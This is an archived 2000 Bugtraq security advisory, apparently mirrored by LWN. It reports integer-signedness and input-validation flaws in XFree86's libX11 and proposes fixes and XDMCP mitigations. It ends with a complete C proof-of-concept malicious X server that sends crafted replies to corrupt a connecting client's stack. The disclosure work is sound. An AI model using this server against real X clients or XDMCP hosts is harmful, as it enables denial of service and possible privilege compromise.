![[LWN Logo]](/images/lc.png) |
|
![[Timeline]](/images/Included.png) |
Date: Mon, 19 Jun 2000 23:51:30 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Subject: XFree86: Various nasty libX11 holes
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
I'll summarize the impact and recommendations before I paste a mail which
goes into technical details of the flaws.
SUMMARY
=======
Various coding flaws exist in libX11. Whilst this may not sound too
serious, it is, for two reasons. They are
1) Various X client programs foolishly have privilege _and_ link against
the X libraries.
2) Think of the XDMCP protocol. In a previous post I suggested it was
_not_ a good idea from a security point of view. This is why. If someone
is offering XDMCP services, I can get that host to connect an X client to
a malicious X server of my choice. What code is processing responses that
are under my control? Yep, libX11.
Specific potential problems
- suid-root xterm (how very 90's!) - maybe local root compromise
- sgid tty or utmp xterm? - maybe inconvenient leak of group
- xmtr - drops privs after allocating raw socket, but a raw socket leak is
pretty serious in itself
- running xdm? This is connecting X clients to you whilst running as root.
COMMENTS
========
libX11 is a _large_ amount of lines of code, implementing a _large_
protocol. The code quality is good and security aware; lots of
sanitization of network data is done. Lengths are distrusted etc. However
what use is that in the face of a huge amount of code? Combine a very low
security bug rate with masses of code, and you get flaws.
Luckily, people are starting to realise that a good solution is to
separate privileged portions of program out from the rest. And the
privileged portion totally distrusts the client. Examples in RH6.x
- privilege free xterm calls "utempter" program which updates
/var/run/utmp in a distrustful manner
- privilege free xlock/xscreensaver calls "pwdb_chkpwdb" which validates a
username/password combination in a distrustful manner
DETAILS
=======
... are appended
Cheers
Chris
>From chris@ferret.lmh.ox.ac.uk Mon Jun 19 23:15:04 2000
Date: Tue, 30 May 2000 22:21:54 +0100 (BST)
From: Chris Evans <chris@ferret.lmh.ox.ac.uk>
Subject: Probably remote hole: libX11
Hi,
Sorry again to interrupt the capabilities debate ;-)
Version is RedHat6.1 XFree-3.3.5-3
I finally broke libX11. As a reminder, my intention is to demonstrate why
xdmcp is a bad idea. It also demonstrates why xterm (or any other X app)
suid or sgid anything is a bad idea.
I did a relatively complete audit of the XOpenDisplay() function, and
child functions. I was curious what damage a maliciously programmed
"xserver" could do. I found four flaws, one very serious indeed. Anyone
running _any_ xdmcp is in trouble - an xdmcp login screen will connect
several X programs to our malicious X server using XOpenDisplay().
Here's the synopsis of the serious flaw
#0 0x41414141 in ?? ()
#1 0x401133f1 in _XReply () from /usr/X11R6/lib/libX11.so.6
#2 0x401059bb in XOpenDisplay () from /usr/X11R6/lib/libX11.so.6
#3 0x4007d395 in XtOpenDisplay () from /usr/X11R6/lib/libXt.so.6
#4 0x4007d58f in _XtAppInit () from /usr/X11R6/lib/libXt.so.6
#5 0x400874da in XtOpenApplication () from /usr/X11R6/lib/libXt.so.6
#6 0x40087604 in XtAppInitialize () from /usr/X11R6/lib/libXt.so.6
#7 0x80574bd in strcpy () at ../sysdeps/generic/strcpy.c:30
#8 0x401a61eb in __libc_start_main (main=0x80571c0 <strcpy+46040>,
argc=1,
argv=0xbffffd34, init=0x804af88 <_init>, fini=0x8064f3c <_fini>,
rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffd2c)
at ../sysdeps/generic/libc-start.c:90
As you can see, we've wasted a function pointer or return address. If you
tweak the exploit a bit, you can just as easily waste either. It's _not_ a
simple buffer overflow - it's a subtle signed/unsigned bug leading to
trashing of a few bytes of specific stack. We have moderate control over
this.
The main caveat of this hole is that the sign trip requires us to send
about 4Gb of data in the middle of the exploit! On localhost this is
minutes. Across a LAN, lots of minutes. Across the internet, hours if its
a fast link otherwise forget it. This blemish is probably cirumventable by
exploiting the same hole elsewhere in the X protocol.
On to the flaws
1) memmove() segfault - probably not exploitable
lib/X11/OpenDis.c, ~line 393
memmove (setup, u.vendor + vendorlen,
(int) setuplength - sz_xConnSetup - vendorlen);
Unfortunately, setuplength and vendorlen are from the network and overly
trusted. If vendorlen is set big and setuplen small, then the above
calculation will result in a negative value, and ~4Gb memmove =>
segfault. Luckily "vendorlen" and "setuplength" are 16 bit quantites
otherwise we would have more precise control over the length of the
memmove.
Fix: check vendorlen is sane!!
2) Infinite loop - DoS an xdmcp serving machine with lots of 100% CPU X
clients.
lib/X11/OpenDis.c, ~line 373
mask = dpy->resource_mask;
dpy->resource_shift = 0;
while (!(mask & 1)) {
dpy->resource_shift++;
mask = mask >> 1;
}
Oh dear! "mask" is from the network. If it is set to "0", the while loop
will never finish!
Fix: Enclose while() loop in a "if (mask)" test.
3) Integer overflow - luck avoids corruption of malloc()'ed buffer
lib/X11/OpenDis.c, ~line 571
if (reply.format == 8 && reply.propertyType == XA_STRING &&
(dpy->xdefaults = Xmalloc (reply.nItems + 1))) {
_XReadPad (dpy, dpy->xdefaults, reply.nItems);
reply.nItems is 32 bits unsigned and read from the network, so by setting
to UINT_MAX, we overflow back to 0. X will then malloc(0) (or malloc(1) on
systems where malloc(0) gives NULL).
Luckily, the _XReadPad call fails to read ~4Gb (or indeed any) network
data into the buffer, because readv() is used and the kernel is
unimpressed about iov.iov_len==4Gb.
4) Nasty one - ability to corrupt bits of stack
lib/X11/XlibInt.c, ~line 1810 in _XAsyncReply
len = SIZEOF(xReply) + (rep->generic.length << 2);
rep->generic.length is 32 bits unsigned, from the network
len is an "int". We can force len to be negative which in turn causes all
sorts of problems and stack corruption later on in _XAsyncReply.
Fix: Probably in XlibInt.c, _XReply() - after reading the xReply
structure, drop like a hot potato if rep->generic.length is suspiciously
big - more than a few meg?
CONCLUSIONS
===========
Credit to the X team, here. libX11 actually looks like well written
code. It is definitely readable compared with a lot of things I've audited
;-)
However, although the quality of code and regard to security is not bad,
the size of code is large, and that's the killer. Solution: discourage
xdmcp services; DEFINITELY disable them by default if possible. Also,
don't ship anything privileged linked to anything X. If you are you
probably have a design flaw. See things like RedHat's privilege free
xterm, rxvt, etc., as well as _small_ helpers such as pwdb_chkpwd and
userhelper.
I guess other bits of libX11 need auditing. I don't have the time myself.
Demo xserver program follows. Run it, it'll listen on 6000. Set DISPLAY to
localhost:0.0 and then run an xterm. Your mileage may vary, but I get
segfault with EIP 0x41414141
Cheers
Chris
/* Chris Evans - demo of libX11 flaw. Tricky one this. */
/* Disclaimer - I haven't bothered to beutify this. It probably is tied
* to little endian machines. Return values go unchecked, etc. ;-)
*/
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int
main(int argc, const char* argv[])
{
static int port = 6000;
char sendbuf[32768];
char recvbuf[1024];
struct sockaddr_in local_addr;
struct sockaddr_in remote_addr;
int remote_addrlen;
int listen_fd;
int accept_fd;
char c;
short s;
int i;
unsigned int bigsend;
listen_fd = socket(PF_INET, SOCK_STREAM, 6);
local_addr.sin_family = AF_INET;
local_addr.sin_addr.s_addr = INADDR_ANY;
local_addr.sin_port = htons(port);
bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));
listen(listen_fd, 1);
accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,
&remote_addrlen);
/* Read initial client connection packet */
read(accept_fd, recvbuf, 12);
/* Absorb auth details */
s = * ((short*)&recvbuf[6]);
s += * ((short*)&recvbuf[8]);
read(accept_fd, recvbuf, s);
/* Send back the nasty reply */
/* xConnSetupPrefix */
c = 1; /* CARD8 success: xTrue */
write(accept_fd, &c, 1);
c = 0; /* BYTE lengthReason: 0 */
write(accept_fd, &c, 1);
s = 11; /* CARD16: majorVersion: 11 */
write(accept_fd, &s, 2);
s = 0; /* CARD16: minorVersion: 0 (irrelevant) */
write(accept_fd, &s, 2);
s = (32 + 40) >> 2; /* CARD16: length (of setup packet) */
write(accept_fd, &s, 2);
/* xConnSetup, 32 bytes */
i = 0; /* CARD32: release */
write(accept_fd, &i, 4);
i = 0; /* CARD32: ridBase */
write(accept_fd, &i, 4);
i = 1; /* CARD32: ridMask: 1. 0 causes 100% CPU */
write(accept_fd, &i, 4);
i = 0; /* CARD32: motionBufferSize */
write(accept_fd, &i, 4);
s = 0; /* CARD16: nbytesVendor */
write(accept_fd, &s, 2);
s = 0; /* CARD16: maxRequestSize */
write(accept_fd, &s, 2);
c = 1; /* CARD8: numRoots: need 1+ to work */
write(accept_fd, &c, 1);
c = 0; /* CARD8: numFormats */
write(accept_fd, &c, 1);
c = 0; /* CARD8: imageByteOrder */
write(accept_fd, &c, 1);
c = 0; /* CARD8: bitmapBitOrder */
write(accept_fd, &c, 1);
c = 0; /* CARD8: bitmapScanlineUnit */
write(accept_fd, &c, 1);
c = 0; /* CARD8: bit:mapScanlinePad */
write(accept_fd, &c, 1);
c = 0; /* KeyCode (CARD8): minKeyCode */
write(accept_fd, &c, 1);
c = 0; /* KeyCode (CARD8): maxKeyCode */
write(accept_fd, &c, 1);
i = 0; /* CARD32: pad */
write(accept_fd, &i, 4);
/* xWindowRoot x 1 - 40 bytes */
/* Contains a "nDepths" - no further data needed if it's set to 0 */
memset(sendbuf, '\0', 40);
write(accept_fd, sendbuf, 40);
/* read 64 bytes of X requests */
/* From:
* xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)
* xQueryExtention, 20 bytes - querying for big requests
* xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
*/
read(accept_fd, recvbuf, 64);
/* Reply to xQueryExtension - an async reply */
c = 1; /* type (BYTE): X_Reply (1) */
write(accept_fd, &c, 1);
c = 0; /* varies */
write(accept_fd, &c, 1);
s = 2; /* sequenceNumber (CARD16): 2nd */
write(accept_fd, &s, 2);
i = -17; /* length (CARD32): signed games here */
write(accept_fd, &i, 4);
i = 0x41414141; /* pad (CARD32); 6 of them */
/* NOTE - in this program's current form, it seems to be these values
* which make their way onto the stack, overwriting a function pointer
*/
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
write(accept_fd, &i, 4);
/* Now we've got to send a _lot_ of data back to the client - it's trying
* to read ~4Gb, grrr.
*/
c = 0;
bigsend = (unsigned int)-17;
bigsend <<= 2;
while (bigsend > 0)
{
unsigned int to_send = bigsend;
if (to_send > 32768)
{
to_send = 32768;
}
write(accept_fd, sendbuf, to_send);
bigsend -= to_send;
if (!c)
{
printf("to_go: %u\n", bigsend);
}
c++;
}
/* Send another xreply - the first 28 bytes are read onto
* the stack.
*/
/* NOTE - in its current form, these A's make their way to some unspecified
* area of stack. In testing I've easily clobbered a return address with
* these
*/
memset(sendbuf, 'A', 28);
write(accept_fd, sendbuf, 28);
memset(sendbuf, '\0', 32);
/* First char of buffer, 0, represents X_Error */
write(accept_fd, sendbuf, 32);
while(1);
}